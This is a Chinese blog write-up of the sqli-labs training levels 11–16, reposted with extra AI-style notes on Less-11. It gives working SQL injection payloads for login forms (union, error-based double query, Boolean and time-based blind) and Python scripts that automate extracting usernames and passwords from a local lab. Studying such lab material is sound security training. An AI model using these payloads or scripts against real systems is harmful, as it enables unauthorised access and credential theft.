sqli-labs less11-16

本文深入探讨了基于字符串的SQL注入攻击方法,包括如何利用错误信息进行查询语句构造,以及如何通过不同类型的注入(如基于布尔和时间的盲注)获取数据库信息。文章提供了具体的payload构造示例和Python脚本,展示了如何自动化地从数据库中提取用户名和密码。

LESS 11 基于字符串的注入(POST)

在username栏输入单引号’测试,结果:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’ and password=’’ LIMIT 0,1’ at line 1

猜测查询语句为:select * from users where username = ‘$username’ and password=’$password’ LIMIT 0,1
于是乎构造payload:

Username : 0’ union select group_concat(username),group_concat(password) from users#
Password :

结果:

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

LESS 12 基于双引号字符串的注入(POST)

和上一关的不同在于字符串被双引号和括号包围,通过报错讯息可以知道
payload如下:

Username : 0”) union select group_concat(username),group_concat(password) from users#
Password :

LESS 13 双查询注入(POST)

通过报错信息可以知道字符串被一对单引号和一对括号包围,但是成功后不显示信息,只会显示报错信息,于是使用双查询注入:

Username : 0’) union select count(), CONCAT_WS(CHAR(32,58,32),(select count() from users),floor(rand()*2)) as a from users group by a#
Password :

结果:

Duplicate entry ‘13 : 1’ for key ‘group_key’’

可以构造脚本爆表:

from urllib import request
from urllib import parse
import re

url = "http://localhost/sqli-labs-master/Less-13/"

i = 0
while(i < 13):
    data = {"uname":"0') union select count(*), CONCAT_WS(CHAR(32,124,32),(select username from users limit "+str(i)+",1),(select password from users limit "+str(i)+",1),floor(rand()*2)) as a from users group by a#", "passwd":""}
    response = request.urlopen(url, parse.urlencode(data).encode()).read().decode()
    info = re.search(r"[^']+\s\|\s[^\s]+?", response)
    if(info == None):
        i -= 1
    else:
        print(info.group())
    i += 1

 

结果:

Dumb | Dumb | 0
Angelina | I-kill-you | 1
Dummy | p@ssword | 0
secure | crappy | 1
stupid | stupidity | 1
superman | genious | 0
batman | mob!le | 1
admin | admin | 0
admin1 | admin1 | 0
admin2 | admin2 | 1
admin3 | admin3 | 1
dhakkan | dumbo | 1
admin4 | admin4 | 0

LESS 14 双引号双查询注入(POST)

除了把单引号括号改成双引号外和上一关没什么区别,payload:

Username : 0” union select count(), CONCAT_WS(CHAR(32,58,32),(select count() from users),floor(rand()*2)) as a from users group by a#
Password :

其他的和十三关都是一样的

LESS 15 基于布尔的盲注(POST)

POST盲注,第七关的脚本拿过来改一下即可:

from urllib import request
from urllib import parse
import re

url = "http://localhost/sqli-labs-master/Less-15/"

def getLength(value):
    length = 0
    while True:
        data = {"uname":"' or length("+str(value)+")="+str(length)+"#", "passwd":""}
        response = request.urlopen(url, parse.urlencode(data).encode()).read().decode()
        if (re.search("slap", response)):
            length += 1
        else:
            return length

def getName(value):
    dbname = ""
    for n in range(getLength(value)):
        a = 64
        b = 64
        #使用二分法构造动态参数
        while True:
            b = int(b/2)
            data = {"uname":"' or ascii(substr(" + value + "," + str(n+1) + "))<" + str(a) + "#", "passwd":""}
            response = request.urlopen(url, parse.urlencode(data).encode()).read().decode()
            if (re.search("slap", response)):
                data["uname"] = "' or ascii(substr(" + value + "," + str(n+1) + "))=" + str(a) + "#"
                response = request.urlopen(url, parse.urlencode(data).encode()).read().decode()
                if (re.search("slap", response)):
                    a += b
                else:
                    dbname = dbname + chr(a)
                    break
            else:
                a -= b
    return dbname

print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))

 

结果和第八关一样

LESS 16 基于时间的盲注(POST)

结合第九关的脚本,再改一下上一关的脚本就成了本关的脚本:

from urllib import request
from urllib import parse
import time

url = "http://localhost/sqli-labs-master/Less-15/"

def getLength(value):
    length = 0
    while True:
        data = {"uname":"' or if(length("+value+")="+str(length)+",sleep(0.1),1)#", "passwd":""}
        t = time.time()
        request.urlopen(url, parse.urlencode(data).encode()).read().decode()
        if (time.time()-t <= 0.1):
            length += 1
        else:
            return length

def getName(value):
    dbname = ""
    for n in range(getLength(value)):
        a = 64
        b = 64
        #使用二分法构造动态参数
        while True:
            b = int(b/2)
            data = {"uname":"' or if(ascii(substr("+value+","+str(n+1)+"))<"+str(a)+",sleep(0.1),1)#", "passwd":""}
            t = time.time()
            request.urlopen(url, parse.urlencode(data).encode()).read().decode()
            if (time.time()-t <= 0.1):
                data["uname"] = "' or if(ascii(substr("+value+","+str(n+1)+"))="+str(a)+",sleep(0.1),1)#"
                t = time.time()
                request.urlopen(url, parse.urlencode(data).encode()).read().decode()
                if (time.time()-t <= 0.1):
                    a += b
                else:
                    dbname = dbname + chr(a)
                    break
            else:
                a -= b
    return dbname

print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))

速度太慢,不知道有什么好的改进方法


https://soporbear.github.io/2018/05/29/sqli-labs-less11/

SQLi - Labs 是一个用于学习和实践 SQL 注入漏洞的实验环境,Less - 11 是其中一个特定的关卡,主要涉及基于 POST 请求的 SQL 注入场景。 ### 环境准备 在开始使用 Less - 11 之前,需要搭建好 SQLi - Labs 环境。通常可以从 GitHub 上下载 SQLi - Labs 项目,然后将其部署到支持 PHP 和 MySQL 的服务器环境中,如 XAMPP、WAMP 等。 ### Less - 11 漏洞概述 Less - 11 模拟了一个登录表单,用户输入用户名和密码后,系统会通过 POST 请求将数据发送到服务器进行验证。该关卡存在 SQL 注入漏洞,攻击者可以通过构造恶意的用户名和密码来绕过正常的身份验证机制,甚至获取数据库中的敏感信息。 ### 漏洞利用步骤 #### 1. 确定注入点 首先,打开 Less - 11 的登录页面,输入任意的用户名和密码进行登录尝试。观察页面的响应,当输入错误的用户名和密码时,页面会提示“Login failed”。这表明服务器端在处理登录请求时,可能直接将用户输入的内容拼接到 SQL 查询语句中,从而存在 SQL 注入的可能性。 #### 2. 构造注入 payload - **绕过登录验证**:可以尝试使用以下 payload 来绕过登录验证。在用户名输入框中输入 `' or '1'='1`,密码输入框中可以输入任意内容,如 `test`。这个 payload 的原理是将 SQL 查询语句修改为一个永远为真的条件,从而绕过了正常的用户名和密码验证。 ```plaintext username=' or '1'='1&password=test ``` - **获取数据库信息**:如果要获取数据库的相关信息,可以使用更复杂的 payload。例如,使用联合查询来获取数据库名、表名和列名等信息。 ```plaintext username=' union select 1, database(), 3 -- &password=test ``` 这个 payload 会将查询结果中的数据库名显示在页面上。 #### 3. 提取数据 通过不断构造不同的联合查询 payload,可以逐步提取数据库中的数据。例如,获取表名: ```plaintext username=' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database() -- &password=test ``` 获取列名: ```plaintext username=' union select 1, group_concat(column_name), 3 from information_schema.columns where table_schema=database() and table_name='users' -- &password=test ``` 获取具体数据: ```plaintext username=' union select 1, group_concat(id, ',', username, ',', password), 3 from users -- &password=test ``` ### 注意事项 - 在进行 SQL 注入实验时,务必确保是在合法的测试环境中进行,避免对生产环境造成破坏。 - 不同的数据库系统(如 MySQL、Oracle、SQL Server 等)对 SQL 语法的支持可能有所不同,需要根据实际情况调整 payload。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值